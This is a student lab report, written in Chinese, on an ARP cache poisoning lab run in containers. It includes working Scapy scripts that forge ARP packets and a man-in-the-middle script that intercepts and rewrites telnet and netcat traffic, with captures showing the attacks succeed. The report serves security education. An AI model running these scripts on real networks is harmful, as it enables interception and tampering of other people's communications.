ARP Cache Poisoning Attack Lab

57118203 陈萱妍

Task 1: ARP Cache Poisoning

查看容器列表。

```
[07/20/21]seed@VM:~/.../volumes$ dockps
6a971568583e  A-10.9.0.5
a0882de8a80d  B-10.9.0.6
8c96ab595300  M-10.9.0.105
```

使用 ifconfig 命令查看主机 M 的端口名和 mac 地址。

```
[07/20/21]seed@VM:~/.../volumes$ docksh 8
root@8c96ab595300:/# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.9.0.105  netmask 255.255.255.0  broadcast 10.9.0.255
        ether 02:42:0a:09:00:69  txqueuelen 0  (Ethernet)
        RX packets 37  bytes 5559 (5.5 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

使用 ifconfig 命令查看主机 A 的 ip 地址和 mac 地址。

```
[07/20/21]seed@VM:~/.../volumes$ docksh 6
root@6a971568583e:/# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.9.0.5  netmask 255.255.255.0  broadcast 10.9.0.255
        ether 02:42:0a:09:00:05  txqueuelen 0  (Ethernet)
        RX packets 42  bytes 6288 (6.2 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

使用 ifconfig 命令查看主机 B 的 ip 地址和 mac 地址。

```
[07/20/21]seed@VM:~/.../volumes$ docksh a
root@a0882de8a80d:/# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.9.0.6  netmask 255.255.255.0  broadcast 10.9.0.255
        ether 02:42:0a:09:00:06  txqueuelen 0  (Ethernet)
        RX packets 47  bytes 7017 (7.0 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

Task 1.A (using ARP request).

在主机 A 上执行 arp -n 命令查看 arp 缓存。

```
root@6a971568583e:/# arp -n
root@6a971568583e:/# 
```

可观察到未与其他主机建立连接前 arp 缓存为空。

在主机 A 中 ping 主机 B 的 ip 地址 10.9.0.6，使用 wireshark 抓取 arp 请求和 arp 响应报文。

```
root@6a971568583e:/# ping 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
64 bytes from 10.9.0.6: icmp_seq=1 ttl=64 time=0.192 ms
64 bytes from 10.9.0.6: icmp_seq=2 ttl=64 time=0.069 ms
64 bytes from 10.9.0.6: icmp_seq=3 ttl=64 time=0.101 ms
64 bytes from 10.9.0.6: icmp_seq=4 ttl=64 time=0.056 ms
64 bytes from 10.9.0.6: icmp_seq=5 ttl=64 time=0.223 ms
64 bytes from 10.9.0.6: icmp_seq=6 ttl=64 time=0.052 ms
^C
--- 10.9.0.6 ping statistics ---
6 packets transmitted, 6 received, 0% packet loss, time 5126ms
rtt min/avg/max/mdev = 0.052/0.115/0.223/0.067 ms
```

```
 1 2021-07-20 04:5… 02:42:0a:09:00:05   Broadcast           ARP    42 Who has 10.9.0.6? Tell 10.9.0.5
 2 2021-07-20 04:5… 02:42:0a:09:00:06   02:42:0a:09:00:05   ARP    42 10.9.0.6 is at 02:42:0a:09:00:06
15 2021-07-20 04:5… 02:42:0a:09:00:06   02:42:0a:09:00:05   ARP    42 Who has 10.9.0.5? Tell 10.9.0.6
16 2021-07-20 04:5… 02:42:0a:09:00:05   02:42:0a:09:00:06   ARP    42 10.9.0.5 is at 02:42:0a:09:00:05
```

在主机 A 上执行 arp -n 命令查看 arp 缓存。

```
root@6a971568583e:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:06   C                     eth0
```

观察抓取到的 arp 请求报文。

```
 1 2021-07-20 04:5… 02:42:0a:09:00:05   Broadcast           ARP    42 Who has 10.9.0.6? Tell 10.9.0.5
 2 2021-07-20 04:5… 02:42:0a:09:00:06   02:42:0a:09:00:05   ARP    42 10.9.0.6 is at 02:42:0a:09:00:06
15 2021-07-20 04:5… 02:42:0a:09:00:06   02:42:0a:09:00:05   ARP    42 Who has 10.9.0.5? Tell 10.9.0.6
16 2021-07-20 04:5… 02:42:0a:09:00:05   02:42:0a:09:00:06   ARP    42 10.9.0.5 is at 02:42:0a:09:00:05

Frame 1: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface br-7b09cd26a344, id 0
Ethernet II, Src: 02:42:0a:09:00:05 (02:42:0a:09:00:05), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
  Destination: Broadcast (ff:ff:ff:ff:ff:ff)
  Source: 02:42:0a:09:00:05 (02:42:0a:09:00:05)
  Type: ARP (0x0806)
Address Resolution Protocol (request)
  Hardware type: Ethernet (1)
  Protocol type: IPv4 (0x0800)
  Hardware size: 6
  Protocol size: 4
  Opcode: request (1)
  Sender MAC address: 02:42:0a:09:00:05 (02:42:0a:09:00:05)
  Sender IP address: 10.9.0.5
  Target MAC address: 00:00:00_00:00:00 (00:00:00:00:00:00)
  Target IP address: 10.9.0.6
```

可观察到源 mac 地址为主机 A 的 mac 地址，目的 mac 地址为 00:00:00_00:00:00。ip 地址分别为主机 A 和 B 的 ip 地址。

根据信息编写 arp_request.py 程序，op=1 表示 request 包。

arp_request.py   arp_reply.py

```python
#!/usr/bin/env python3
from scapy.all import*
A_ip = "10.9.0.5"
B_ip = "10.9.0.6"
M_mac = "02:42:0a:09:00:69"
E = Ether(src=M_mac)
A = ARP(hwsrc=M_mac,psrc=B_ip,pdst=A_ip,op=1)
pkt = E/A
sendp(pkt, iface='eth0')
```

在主机 M 上运行程序进行攻击。

```
root@8c96ab595300:/volumes# python3 arp_request.py
.
Sent 1 packets.
```

构造主机 B 发送给 A 的 arp 请求包，由于使用的是主机 M 的 mac 地址，攻击成功后会将攻击者主机的 mac 地址映射到主机 B 的 ip 上。

```
root@6a971568583e:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:69   C                     eth0
10.9.0.105               ether   02:42:0a:09:00:69   C                     eth0
```

Task 1.B (using ARP reply).

观察 ping 过程中抓取到的 arp 应答报文。

```
 1 2021-07-20 04:5… 02:42:0a:09:00:05   Broadcast           ARP   42 Who has 10.9.0.6? Tell 10.9.0.5
 2 2021-07-20 04:5… 02:42:0a:09:00:06   02:42:0a:09:00:05   ARP   42 10.9.0.6 is at 02:42:0a:09:00:06
15 2021-07-20 04:5… 02:42:0a:09:00:06   02:42:0a:09:00:05   ARP   42 Who has 10.9.0.5? Tell 10.9.0.6
16 2021-07-20 04:5… 02:42:0a:09:00:05   02:42:0a:09:00:06   ARP   42 10.9.0.5 is at 02:42:0a:09:00:05

▸ Frame 2: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface br-7b09cd26a344, id 0
▾ Ethernet II, Src: 02:42:0a:09:00:06 (02:42:0a:09:00:06), Dst: 02:42:0a:09:00:05 (02:42:0a:09:00:05)
  ▸ Destination: 02:42:0a:09:00:05 (02:42:0a:09:00:05)
  ▸ Source: 02:42:0a:09:00:06 (02:42:0a:09:00:06)
    Type: ARP (0x0806)
▾ Address Resolution Protocol (reply)
    Hardware type: Ethernet (1)
    Protocol type: IPv4 (0x0800)
    Hardware size: 6
    Protocol size: 4
    Opcode: reply (2)
    Sender MAC address: 02:42:0a:09:00:06 (02:42:0a:09:00:06)
    Sender IP address: 10.9.0.6
    Target MAC address: 02:42:0a:09:00:05 (02:42:0a:09:00:05)
    Target IP address: 10.9.0.5
```

可观察到源 mac 地址为主机 B 的 mac 地址，目的 mac 地址为主机 A 的 mac 地址。

根据信息编写 arp_reply.py 程序，op=2 表示 reply。

arp_request.py　　arp_reply.py

```python
#!/usr/bin/env python3
from scapy.all import*
A_ip = "10.9.0.5"
B_ip = "10.9.0.6"
M_mac = "02:42:0a:09:00:69"
A_mac = "02:42:0a:09:00:05"
E = Ether(src=M_mac,dst=A_mac)
A = ARP(hwsrc=M_mac,hwdst=A_mac,psrc=B_ip,pdst=A_ip,op=2)
pkt = E/A
sendp(pkt, iface='eth0')
```

Scenario 1: B’ s IP is already in A’ s cache.

主机 B 的 ip 已经在主机 A 的缓存中，运行程序，再次查看缓存。

```
root@8c96ab595300:/volumes# python3 arp_reply.py
.
Sent 1 packets.
```

```
root@6a971568583e:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:06   C                     eth0
root@6a971568583e:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:69   C                     eth0
```

可观察到主机 B 的 ip 地址成功映射到主机 M 的 mac 地址上，攻击成功。

Scenario 2: B' s IP is not in A' s cache.

主机 B 的 ip 不在 A 的缓存中，运行程序，再次查看缓存。

```
root@6a971568583e:/# arp -n
root@6a971568583e:/# arp -n
root@6a971568583e:/# 
```

可观察到未完成主机 M 的 mac 地址到主机 B 的 ip 地址间的映射，攻击失败。reply 包只能更新不能增加 arp 缓存条目，因此当 B 的 ip 不在 A 的缓存中时，无法完成 arp 缓存中毒攻击。

Task 1.C (using ARP gratuitous message).

编写 arp_gratuitous.py 程序。

arp_request.py　arp_reply.py　arp_gratuitous.py

```
#!/usr/bin/env python3
from scapy.all import*
B_ip = "10.9.0.6"
M_mac = "02:42:0a:09:00:69"
dst_mac = "ff:ff:ff:ff:ff:ff"
E = Ether(src=M_mac,dst=dst_mac)
A = ARP(hwsrc=M_mac,hwdst=dst_mac,psrc=B_ip,pdst=B_ip,op=1)
pkt = E/A
sendp(pkt, iface='eth0')
```

Scenario 1: B' s IP is already in A' s cache.

主机 B 的 ip 已经在主机 A 的缓存中，运行程序，再次查看缓存。

```
root@8c96ab595300:/volumes# python3 arp_gratuitous.py
.
Sent 1 packets.
```

```
root@6a971568583e:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:06   C                     eth0
root@6a971568583e:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:69   C                     eth0
```

可观察到主机 B 的 ip 地址成功映射到主机 M 的 mac 地址上，攻击成功。

Scenario 2: B' s IP is not in A' s cache.

主机 B 的 ip 不在 A 的缓存中，运行程序，再次查看缓存。

```
root@6a971568583e:/# arp -d 10.9.0.6
root@6a971568583e:/# arp -n
root@6a971568583e:/# arp -n
root@6a971568583e:/#
```

可观察到未完成主机 M 的 mac 地址到主机 B 的 ip 地址间的映射，攻击失败。ARP gratuitous message 与 ARP reply 类似，只能更新不能增加缓存条目。

Task 2: MITM Attack on Telnet using ARP Cache Poisoning

Step 1 (Launch the ARP cache poisoning attack).

编写 ARPCachePoisoning.py 程序，对主机 A 和主机 B 都进行 arp 缓存中毒攻击。

arp_request.py | arp_reply.py | arp_gratuitous.py | ARPCachePoisoning.py

```python
#!/usr/bin/env python3
from scapy.all import*
A_ip = "10.9.0.5"
B_ip = "10.9.0.6"
M_mac = "02:42:0a:09:00:69"
E = Ether(src=M_mac)
A1 = ARP(hwsrc=M_mac,psrc=B_ip,pdst=A_ip,op=1)
A2 = ARP(hwsrc=M_mac,psrc=A_ip,pdst=B_ip,op=1)
pkt1 = E/A1
pkt2 = E/A2
sendp(pkt1,iface='eth0')
sendp(pkt2,iface='eth0')
```

使用 arp -n 命令查看主机 A 和主机 B 的 arp 缓存。

主机 A 的 arp 缓存：

```
root@6a971568583e:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:06   C                     eth0
10.9.0.105               ether   02:42:0a:09:00:69   C                     eth0
```

主机 B 的 arp 缓存：

```
root@a0882de8a80d:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.105               ether   02:42:0a:09:00:69   C                     eth0
10.9.0.5                 ether   02:42:0a:09:00:05   C                     eth0
```

Step 2 (Testing).

使用命令 sysctl net.ipv4.ip_forward=0 关闭主机 M 上的 ip 转发。

```
root@8c96ab595300:/volumes# sysctl net.ipv4.ip_forward=0
net.ipv4.ip_forward = 0
```

查看主机 B 的 arp 缓存，可观察到主机 A 的 ip 地址映射到了主机 M 的 mac 地址。

```
root@a0882de8a80d:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.105               ether   02:42:0a:09:00:69   C                     eth0
10.9.0.5                 ether   02:42:0a:09:00:69   C                     eth0
```

在主机 M 上运行 ARPCachePoisoning.py 程序。

```
root@8c96ab595300:/volumes# python3 ARPCachePoisoning.py
.
Sent 1 packets.
.
Sent 1 packets.
```

在主机 A 上 ping 主机 B 的 ip 地址，并使用 wireshark 抓包。

```
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
64 bytes from 10.9.0.6: icmp_seq=10 ttl=64 time=0.150 ms
64 bytes from 10.9.0.6: icmp_seq=11 ttl=64 time=0.470 ms
64 bytes from 10.9.0.6: icmp_seq=12 ttl=64 time=0.051 ms
64 bytes from 10.9.0.6: icmp_seq=13 ttl=64 time=0.507 ms
64 bytes from 10.9.0.6: icmp_seq=14 ttl=64 time=0.213 ms
^C
--- 10.9.0.6 ping statistics ---
14 packets transmitted, 5 received, 64.2857% packet loss, time 13294ms
rtt min/avg/max/mdev = 0.051/0.278/0.507/0.179 ms
```

可观察到刚开始无法 ping 通，但数秒后成功 ping 通，发送的 14 个报文有 5 个到达，丢包率为 64.2857%。

查看主机 B 的 arp 缓存，可观察到 arp 缓存的内容变化，主机 A 的 ip 地址正确地映射到了自身的 mac 地址。

```
root@a0882de8a80d:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.105               ether   02:42:0a:09:00:69   C                     eth0
10.9.0.5                 ether   02:42:0a:09:00:05   C                     eth0
```

观察 wireshark 抓取到的报文。

```
11 2021-07-20 06:3… 10.9.0.5          10.9.0.6          ICMP  98 Echo (ping) request  id=0x003f, seq=3/768, ttl=64 (no respons…
12 2021-07-20 06:3… 10.9.0.5          10.9.0.6          ICMP  98 Echo (ping) request  id=0x003f, seq=4/1024, ttl=64 (no respon…
13 2021-07-20 06:3… 10.9.0.5          10.9.0.6          ICMP  98 Echo (ping) request  id=0x003f, seq=5/1280, ttl=64 (no respon…
14 2021-07-20 06:3… 10.9.0.5          10.9.0.6          ICMP  98 Echo (ping) request  id=0x003f, seq=6/1536, ttl=64 (no respon…
15 2021-07-20 06:3… 02:42:0a:09:00:05 02:42:0a:09:00:69 ARP   42 Who has 10.9.0.6? Tell 10.9.0.5
16 2021-07-20 06:3… 10.9.0.5          10.9.0.6          ICMP  98 Echo (ping) request  id=0x003f, seq=7/1792, ttl=64 (no respon…
17 2021-07-20 06:3… 02:42:0a:09:00:05 02:42:0a:09:00:69 ARP   42 Who has 10.9.0.6? Tell 10.9.0.5
18 2021-07-20 06:3… 10.9.0.5          10.9.0.6          ICMP  98 Echo (ping) request  id=0x003f, seq=8/2048, ttl=64 (no respon…
19 2021-07-20 06:3… 02:42:0a:09:00:05 02:42:0a:09:00:69 ARP   42 Who has 10.9.0.6? Tell 10.9.0.5
20 2021-07-20 06:3… 10.9.0.5          10.9.0.6          ICMP  98 Echo (ping) request  id=0x003f, seq=9/2304, ttl=64 (no respon…
21 2021-07-20 06:3… 02:42:0a:09:00:05 Broadcast         ARP   42 Who has 10.9.0.6? Tell 10.9.0.5
22 2021-07-20 06:3… 02:42:0a:09:00:06 02:42:0a:09:00:05 ARP   42 10.9.0.6 is at 02:42:0a:09:00:06
23 2021-07-20 06:3… 10.9.0.5          10.9.0.6          ICMP  98 Echo (ping) request  id=0x003f, seq=10/2560, ttl=64 (reply in…
24 2021-07-20 06:3… 10.9.0.6          10.9.0.5          ICMP  98 Echo (ping) reply    id=0x003f, seq=10/2560, ttl=64 (request …
25 2021-07-20 06:3… 10.9.0.5          10.9.0.6          ICMP  98 Echo (ping) request  id=0x003f, seq=11/2816, ttl=64 (reply in…
26 2021-07-20 06:3… 10.9.0.6          10.9.0.5          ICMP  98 Echo (ping) reply    id=0x003f, seq=11/2816, ttl=64 (request …
27 2021-07-20 06:3… 10.9.0.5          10.9.0.6          ICMP  98 Echo (ping) request  id=0x003f, seq=12/3072, ttl=64 (reply in…
```

可观察到前几次 ping 都没有收到回复，主机 B 先向主机 M 单播一个 arp 请求报文，寻找 10.9.0.5 对应的 mac 地址，由于主机 M 的 ip 地址不是 10.9.0.6，且没有构造响应 spoof 包，所以无法回应。主机 B 向主机 M 单播 3 次未收到回应，于是广播一个 arp 请求报文，寻找 10.9.0.5 对应的 mac 地址，收到主机 A 的回应，二者成功建立连接。

Step 3 (Turn on IP forwarding).

使用命令 sysctl net.ipv4.ip_forward=1 打开主机 M 上的 ip 转发。

```
root@8c96ab595300:/volumes# sysctl net.ipv4.ip_forward=1
net.ipv4.ip_forward = 1
```

在主机 A 上 ping 主机 B 的 ip 地址，并使用 wireshark 抓取报文。

```
root@6a971568583e:/# ping 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
64 bytes from 10.9.0.6: icmp_seq=1 ttl=63 time=0.672 ms
From 10.9.0.105: icmp_seq=2 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=2 ttl=63 time=0.207 ms
From 10.9.0.105: icmp_seq=3 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=3 ttl=63 time=0.182 ms
From 10.9.0.105: icmp_seq=4 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=4 ttl=63 time=0.202 ms
From 10.9.0.105: icmp_seq=5 Redirect Host(New nexthop: 10.9.0.6)
```

可观察到，每次 ping 后都会收到一个来自主机 M 的重定向报文。

查看主机 A 的 arp 缓存，可观察到 arp 缓存的内容变化，主机 B 对应的 mac 地址变为(incomplete).

```
root@6a971568583e:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                         (incomplete)                              eth0
10.9.0.105               ether   02:42:0a:09:00:69   C                     eth0
```

查看主机 B 的 arp 缓存,可观察到 arp 缓存的内容变化，主机 A 对应的 mac 地址变为(incomplete).

```
root@a0882de8a80d:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.105               ether   02:42:0a:09:00:69   C                     eth0
10.9.0.5                         (incomplete)                              eth0
```

观察 wireshark 抓取到的报文。

```
 9 2021-07-20 06:4… 10.9.0.5          10.9.0.6          ICMP  98 Echo (ping) request  id=0x0041, seq=1/256, ttl=64 (no respons…
10 2021-07-20 06:4… 02:42:0a:09:00:69 Broadcast         ARP   42 Who has 10.9.0.6? Tell 10.9.0.105
11 2021-07-20 06:4… 02:42:0a:09:00:06 02:42:0a:09:00:69 ARP   42 10.9.0.6 is at 02:42:0a:09:00:06
12 2021-07-20 06:4… 10.9.0.5          10.9.0.6          ICMP  98 Echo (ping) request  id=0x0041, seq=1/256, ttl=63 (reply in 1…
13 2021-07-20 06:4… 10.9.0.6          10.9.0.5          ICMP  98 Echo (ping) reply    id=0x0041, seq=1/256, ttl=64 (request in…
14 2021-07-20 06:4… 10.9.0.105        10.9.0.6          ICMP 126 Redirect             (Redirect for host)
15 2021-07-20 06:4… 02:42:0a:09:00:69 Broadcast         ARP   42 Who has 10.9.0.5? Tell 10.9.0.105
16 2021-07-20 06:4… 02:42:0a:09:00:05 02:42:0a:09:00:69 ARP   42 10.9.0.5 is at 02:42:0a:09:00:05
17 2021-07-20 06:4… 10.9.0.6          10.9.0.5          ICMP  98 Echo (ping) reply    id=0x0041, seq=1/256, ttl=63
18 2021-07-20 06:4… 10.9.0.5          10.9.0.6          ICMP  98 Echo (ping) request  id=0x0041, seq=2/512, ttl=64 (no respons…
19 2021-07-20 06:4… 10.9.0.105        10.9.0.5          ICMP 126 Redirect             (Redirect for host)
20 2021-07-20 06:4… 10.9.0.5          10.9.0.6          ICMP  98 Echo (ping) request  id=0x0041, seq=2/512, ttl=63 (reply in 2…
21 2021-07-20 06:4… 10.9.0.6          10.9.0.5          ICMP  98 Echo (ping) reply    id=0x0041, seq=2/512, ttl=64 (request in…
22 2021-07-20 06:4… 10.9.0.105        10.9.0.6          ICMP 126 Redirect             (Redirect for host)
23 2021-07-20 06:4… 10.9.0.6          10.9.0.5          ICMP  98 Echo (ping) reply    id=0x0041, seq=2/512, ttl=63
24 2021-07-20 06:4… 10.9.0.5          10.9.0.6          ICMP  98 Echo (ping) request  id=0x0041, seq=3/768, ttl=64 (no respons…
25 2021-07-20 06:4… 10.9.0.105        10.9.0.5          ICMP 126 Redirect             (Redirect for host)
26 2021-07-20 06:4… 10.9.0.5          10.9.0.6          ICMP  98 Echo (ping) request  id=0x0041, seq=3/768, ttl=63 (reply in 2…
27 2021-07-20 06:4… 10.9.0.6          10.9.0.5          ICMP  98 Echo (ping) reply    id=0x0041, seq=3/768, ttl=64 (request in…
28 2021-07-20 06:4… 10.9.0.105        10.9.0.6          ICMP 126 Redirect             (Redirect for host)
```

可观察到主机 A 与主机 B 之间的通信都经过了主机 M，主机 M 起到了中间人的转发作用。M 每次转发后，都会对 A/B 发送一个 ICMP 重定向报文修改路由。

```
  Type: IPv4 (0x0800)
Internet Protocol Version 4, Src: 10.9.0.105, Dst: 10.9.0.6
Internet Control Message Protocol
  Type: 5 (Redirect)
  Code: 1 (Redirect for host)
  Checksum: 0xf0f0 [correct]
  [Checksum Status: Good]
  Gateway address: 10.9.0.5
```

而重定向报文为 ip 地址重定向，中间人 M 的出现是由于 A/B 的 ip 地址映射到了 M 的 mac 地址，即由 mac 地址错误导致，ICMP 重定向报文无法起作用。

Step 4 (Launch the MITM attack).

在主机 A 上对主机 B 进行 telnet 连接，并使用 wireshark 抓取报文。

```
root@6a971568583e:/# telnet 10.9.0.6
Trying 10.9.0.6...
Connected to 10.9.0.6.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
a0882de8a80d login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)
```

使用命令 sysctl net.ipv4.ip_forward=0 关闭主机 M 上的 ip 转发。

```
root@8c96ab595300:/volumes# sysctl net.ipv4.ip_forward=0
net.ipv4.ip_forward = 0
```

执行代码，进行 arp 缓存中毒攻击。

arp_request.py　arp_reply.py　arp_gratuitous.py　ARPCachePoisoning.py

```
#!/usr/bin/env python3
from scapy.all import*
A_ip = "10.9.0.5"
B_ip = "10.9.0.6"
M_mac = "02:42:0a:09:00:69"
E = Ether(src=M_mac)
A1 = ARP(hwsrc=M_mac,psrc=B_ip,pdst=A_ip,op=1)
A2 = ARP(hwsrc=M_mac,psrc=A_ip,pdst=B_ip,op=1)
pkt1 = E/A1
pkt2 = E/A2
while 1:
        sendp(pkt1,iface='eth0')
        sendp(pkt2,iface='eth0')
        time.sleep(5)
```

```
root@8c96ab595300:/volumes# python3 ARPCachePoisoning.py
.
Sent 1 packets.
.
Sent 1 packets.
```

尝试在主机 A 终端上输入命令，起初无任何显示，数秒后命令出现。查看 wireshark 抓取的报文。

184	2021-07-20 06:5…	10.9.0.5	10.9.0.6	TCP	68	[TCP Retransmission] 42590 → 23 [PSH, ACK] Seq=2302232202 Ack…
185	2021-07-20 06:5…	10.9.0.5	10.9.0.6	TCP	68	[TCP Retransmission] 42590 → 23 [PSH, ACK] Seq=2302232202 Ack…
186	2021-07-20 06:5…	10.9.0.5	10.9.0.6	TCP	68	[TCP Retransmission] 42590 → 23 [PSH, ACK] Seq=2302232202 Ack…
187	2021-07-20 06:5…	10.9.0.5	10.9.0.6	TCP	68	[TCP Retransmission] 42590 → 23 [PSH, ACK] Seq=2302232202 Ack…
188	2021-07-20 06:5…	10.9.0.5	10.9.0.6	TCP	68	[TCP Retransmission] 42590 → 23 [PSH, ACK] Seq=2302232202 Ack…
189	2021-07-20 06:5…	10.9.0.5	10.9.0.6	TCP	68	[TCP Retransmission] 42590 → 23 [PSH, ACK] Seq=2302232202 Ack…
190	2021-07-20 06:5…	10.9.0.1	224.0.0.251	MDNS	183	Standard query 0x0000 PTR _ipps._tcp.local, "QM" question PTR…
191	2021-07-20 06:5…	fe80::42:faff:fed2:…	ff02::fb	MDNS	203	Standard query 0x0000 PTR _ipps._tcp.local, "QM" question PTR…
192	2021-07-20 06:5…	10.9.0.5	10.9.0.6	TCP	68	[TCP Retransmission] 42590 → 23 [PSH, ACK] Seq=2302232202 Ack…
193	2021-07-20 06:5…	02:42:0a:09:00:05	02:42:0a:09:00:69	ARP	42	Who has 10.9.0.6? Tell 10.9.0.5
194	2021-07-20 06:5…	02:42:0a:09:00:05	02:42:0a:09:00:69	ARP	42	Who has 10.9.0.6? Tell 10.9.0.5
195	2021-07-20 06:5…	02:42:0a:09:00:05	02:42:0a:09:00:69	ARP	42	Who has 10.9.0.6? Tell 10.9.0.5
196	2021-07-20 06:5…	02:42:0a:09:00:05	Broadcast	ARP	42	Who has 10.9.0.6? Tell 10.9.0.5
197	2021-07-20 06:5…	02:42:0a:09:00:06	02:42:0a:09:00:05	ARP	42	10.9.0.6 is at 02:42:0a:09:00:06
198	2021-07-20 06:5…	10.9.0.5	10.9.0.6	TCP	68	[TCP Retransmission] 42590 → 23 [PSH, ACK] Seq=2302232202 Ack…

可观察到主机 A 先向主机 M 单播一个 arp 请求报文，三次未收到回应后，主机 A 广播一个 arp 请求报文，寻找 10.9.0.6 对应的 mac 地址，主机 B 回应后，二者成功建立连接。

编写 MITM.py 程序。截取 A 发往 B 的 tcp 报文，将输入字符全部改为‘Z’。

arp_request.py　arp_reply.py　arp_gratuitous.py　ARPCachePoisoning.py　MITM.py

```
#!/usr/bin/env python3
from scapy.all import*
IP_A = "10.9.0.5"
MAC_A = "02:42:0a:09:00:05"
IP_B = "10.9.0.6"
MAC_B = "02:42:0a:09:00:06"
def spoof_pkt(pkt):
  if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
    newpkt = IP(bytes(pkt[IP]))
    del(newpkt.chksum)
    del(newpkt[TCP].payload)
    del(newpkt[TCP].chksum)
    if pkt[TCP].payload:
      data = pkt[TCP].payload.load
      data_len=len(data)
      newdata = 'Z'*data_len
      #replace each typed character with 'Z'
      send(newpkt/newdata)
    else:
      send(newpkt)
  elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
    newpkt = IP(bytes(pkt[IP]))
    del(newpkt.chksum)
    del(newpkt[TCP].chksum)
    send(newpkt)
f = 'tcp and (ether src 02:42:0a:09:00:05 or ether src 02:42:0a:09:00:06)'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
```

运行程序，劫持成功。

```
^Croot@8c96ab595300:/volumes# python3 MITM.py
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
```

```
seed@a0882de8a80d:~$ ZZZZZZZZZZZZZZZZZZZZZ
```

Task 3: MITM Attack on Netcat using ARP Cache Poisoning

修改 MITM.py 代码，将字符串“cxy”改为“AAA”。重复 task2 step4 步骤。

arp_request.py　arp_reply.py　arp_gratuitous.py　ARPCachePoisoning.py　MITM.py

```python
#!/usr/bin/env python3
from scapy.all import*
IP_A = "10.9.0.5"
MAC_A = "02:42:0a:09:00:05"
IP_B = "10.9.0.6"
MAC_B = "02:42:0a:09:00:06"
def spoof_pkt(pkt):
  if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
    newpkt = IP(bytes(pkt[IP]))
    del(newpkt.chksum)
    del(newpkt[TCP].payload)
    del(newpkt[TCP].chksum)
    if pkt[TCP].payload:
      data = pkt[TCP].payload.load
      data_len=len(data)
      newdata = data.replace(b'cxy', b'AAA')
      send(newpkt/newdata)
    else:
      send(newpkt)
  elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
    newpkt = IP(bytes(pkt[IP]))
    del(newpkt.chksum)
    del(newpkt[TCP].chksum)
    send(newpkt)
f = 'tcp and (ether src 02:42:0a:09:00:05 or ether src 02:42:0a:09:00:06)'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
```

在主机 A 上输入 nc 10.9.0.6 9090 命令，在主机 B 上输入 nc -lp 9090 命令，建立 netcat 连接。

```
seed@a0882de8a80d:~$ nc 10.9.0.6 9090
cxy
aaa
cxyaaa
zzzcxyCXY
```

```
root@a0882de8a80d:/# nc -lp 9090
AAA
aaa
AAAaaa
zzzAAACXY
```

可观察到所有的字符串“cxy”都变为“AAA”，攻击成功。